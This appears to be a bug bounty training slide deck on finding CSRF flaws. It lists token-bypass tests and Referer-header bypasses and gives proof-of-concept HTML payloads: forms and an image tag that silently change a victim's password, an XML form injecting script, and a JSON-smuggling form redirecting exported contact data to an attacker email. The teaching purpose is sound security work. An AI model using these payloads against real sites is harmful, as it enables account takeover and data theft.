CSRF Bug Hunting Methodology

Become a Successful Bug Bounty Hunter

CSRF - Basics

- Logged in user clicks & visits your code
- Bad actions done on behalf of users
- Changing email (ATO)
- Updating account information
- Updating shipping information

CSRF - Protection

CSRF protection:
The idea is to stop a request from evil.com from being submitted secretly to do bad things in the account on bank.com

CSRF - Approach

- Look for missing CSRF tokens!
- Check authenticated functions
- Not interesting for contact form
- State changing actions to be protected
- Account updates, profile updates etc.

CSRF - Approach

- Get into developer thoughts
- If they miss CSRF security…
- …they might missed other things too!
- Even if there is a CSRF token
- Chances are they can be bypassed!

CSRF - Tests

- Sending blank CSRF token
- Delete CSRF token parameter
- Change request method (POST to GET)
- Sharing CSRF tokens between accounts
- Changing 1 character of the token

CSRF - Referer

- Often Referrer Header is used
- Ref. Header set to https://bank.com
- If set – verified
- If other value - fail

CSRF - Referer

- Referer Header Flaw 1
  Some Web Apps only verify if their domain is part of the Ref. Header

Bypass:

https://bad.com/https://bank.com

CSRF - Referer

- Referer Header Flaw 2
  Some Web Apps only verify that the Ref. Header starts with their domain

Bypass:

https://bank.com.bad.com/csrf-attack

CSRF - Referer

- Referer Header Flaw 3
  Some Web Apps don’t verify the Ref. Header if it’s a blank header

Bypasses with blank Referer:

```
<meta name="referrer" content="no-referrer" />
<iframe src=”data:text/html;base64,form_code_here”>
```

Blank Referer and blank origin:

```
<iframe src=data:text/html;base64,BASE64PAYLOAD>
```

CSRF – No protection

- Example of no CSRF protection

```
<html>
  <body>
    <form action="https://www.example.com/changepassword"
method="POST">
      <input type="hidden" name="newpassword" value="oops" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

CSRF – with Clickjacking

- CSRF with Clickjacking
- X-FRAME-OPTIONS missing -> Clickjack
- Send blank CSRF token
- Error thrown – but data reflected!
- Requires Clickjacking to submit reflected data!

CSRF – with GET method

- When GET method is supported
- CSRF token not used
- Sample Payload

```
<img src='https://www.example.com/changePassword?newPassword=oops'>
```

CSRF – in XML

- CSRF XML

```
<html>
    <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php"
method="post">
        <input type="hidden" name="<foo> <html
xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script>
</html> </foo>">
         <input type="submit" value="submit"> </form>
    </body>
</html>
```

CSRF – in JSON

- CSRF JSON
- More challenging
- Cannot end in =
- Need to smuggle =
- Email to myemail+2=@gmail.com
- Is going to myemail@gmail.com

CSRF – in JSON

- CSRF JSON

```
<html>
    <body>
      <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post">
      <input type="hidden"
name="{"params":{"limit":20,"and":false,"filters":[],"excluded_contacts":[]},"fields":["First Name","Last Name","Email Address","Title","Notes","Organization","Street","City","State","Tags","Zip Code","Phone Number","Gender","Event ID","Event Title","VIP","Twitter Handle","Twitter URL","Twitter Followers","Twitter Following","Facebook Name","Facebook URL","Facebook Friends","Instagram Handle","Instagram URL","Instagram Followers","Instagram Following","Website","Date Added","Unsubscribed"],"recipient":"myemail+2" value='@gmail.com'>
       <input type="submit" value="submit"> </form>
    </body>
</html>
```

Thank You!

Become a Successful
Bug Bounty Hunter